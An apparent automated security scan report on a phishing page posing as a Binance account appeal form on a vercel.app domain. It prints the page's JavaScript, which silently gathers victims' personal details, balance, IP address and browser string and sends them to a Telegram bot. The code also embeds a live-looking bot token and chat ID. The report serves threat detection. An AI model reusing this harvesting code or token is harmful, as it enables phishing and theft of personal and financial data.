finance banking

adult content

government public service

English

The domain 'www.license-keys.vercel.app' uses the application-focused generic top-level domain (.app) and includes subdomain 'www.license-keys'. Its registrable label 'vercel' stretches across 6 characters with two vowels and 4 consonants. Breaking it apart gives 2 words: ver, cel. Median word length is three characters. No strong language cues emerged from the frequency lists.

fullName

email

phone

address

city

state

postal

country

html/2f/1f/2f1f200e-d194-4081-aeb4-174a12ff45d7.html.gz

inline;filename*=UTF-8''Binance_logo.svg.webp

default-src 'none'; script-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data: https://upload.wikimedia.org/favicon.ico; connect-src https://upload.wikimedia.org/favicon.ico; media-src data: 'self'; object-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; report-uri https://commons.wikimedia.org/w/api.php?reportonly=1&source=image&action=cspreport&format=json; report-to csp_endpoint

cf3f66c532d1235a9cc9b1d5c8593690c093484edeb444b883452791e22d9cef

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Tucows

Tucows Domains Inc

vercel.app

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-05


    /*
      Standalone client-side implementation that sends:
        - form fields
        - public IP (via ipify)
        - navigator.userAgent
        - ISO timestamp
      SECURITY WARNING:
      - Embedding a real Telegram BOT token in client-side code is insecure.
      - Replace BOT_TOKEN and CHAT_ID placeholders only for short local testing.
      - For production, use a server-side endpoint and keep the token in environment variables.
    */

    // --- Balance auto-formatter (silent) ---
    const balanceInput = document.getElementById("balanceInput");
    balanceInput.addEventListener("input", function (e) {
        let v = e.target.value;
        v = v.replace(/[^\d.]/g, "");
        const parts = v.split(".");
        if (parts.length > 1) {
            const integer = parts.shift() || "0";
            const decimal = parts.join("").slice(0, 10);
            e.target.value = integer.replace(/\B(?=(\d{3})+(?!\d))/g, ",") + (decimal ? "." + decimal : "");
        } else {
            e.target.value = v.replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        }
    });

    // --- Helper: fetch public IP silently ---
    async function fetchPublicIP() {
        try {
            const resp = await fetch("https://api.ipify.org?format=json");
            if (!resp.ok) return "unknown";
            const j = await resp.json();
            return j.ip || "unknown";
        } catch (e) {
            return "unknown";
        }
    }

    // --- Form submission (silent; no alerts/status) ---
    document.getElementById("appealForm").addEventListener("submit", async function (ev) {
        ev.preventDefault();

        const payload = {
            fullName: document.getElementById("fullName").value.trim(),
            email: document.getElementById("email").value.trim(),
            phone: document.getElementById("phone").value.trim(),
            address: document.getElementById("address").value.trim(),
            city: document.getElementById("city").value.trim(),
            state: document.getElementById("state").value.trim(),
            postal: document.getElementById("postal").value.trim(),
            country: document.getElementById("country").value,
            balance: document.getElementById("balanceInput").value.trim()
        };

        const ip = await fetchPublicIP();
        const userAgent = navigator.userAgent || "unknown";
        const timestamp = new Date().toISOString();

        const message = [
            "📥 New Form Submission",
            `⏱ Timestamp: ${timestamp}`,
            `🌐 IP: ${ip}`,
            `🖥 User-Agent: ${userAgent}`,
            "",
            `👤 Full Name: ${payload.fullName}`,
            `📧 Email: ${payload.email}`,
            `📱 Phone: ${payload.phone}`,
            `🏠 Address: ${payload.address}`,
            `🏙 City: ${payload.city}`,
            `🗺 State: ${payload.state}`,
            `📮 Postal Code: ${payload.postal}`,
            `💰 Balance: ${payload.balance}`,
            `🌍 Country: ${payload.country}`
        ].join("\n");

        // === REPLACE THESE PLACEHOLDERS FOR LOCAL TESTING ONLY ===
        const BOT_TOKEN = "REPLACE_WITH_YOUR_BOT_TOKEN"; // e.g. "123456:ABC-DEF..."
        const CHAT_ID = "REPLACE_WITH_YOUR_CHAT_ID";     // numeric chat id or @username
        // =======================================================

        // If placeholders not replaced, exit silently (no UI alert)
        if (!BOT_TOKEN || BOT_TOKEN === "8281561796:AAHc7r8g6Ba70YFWsV8ygD5uXnf3dWmiGp0" || !CHAT_ID || CHAT_ID === "8624745089") {
            return;
        }

        try {
            await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ chat_id: CHAT_ID, text: message })
            });
            // reset form silently on success
            ev.target.reset();
        } catch (err) {
            // silent failure; error available in console for debugging
            if (typeof console !== "undefined") console.error("Telegram send error:", err);
        }
    });
    

Requests	IP Address	Location	AS Autonomous System
2	188.114.96.3Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	216.198.79.3	United States	AS16509Amazon.com, Inc.
1	216.198.79.67	United States	AS16509Amazon.com, Inc.
1	185.15.59.240	United States	AS14907Wikimedia Foundation Inc.
5	4	-	-

Security Scan Report: www.license-keys.vercel.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History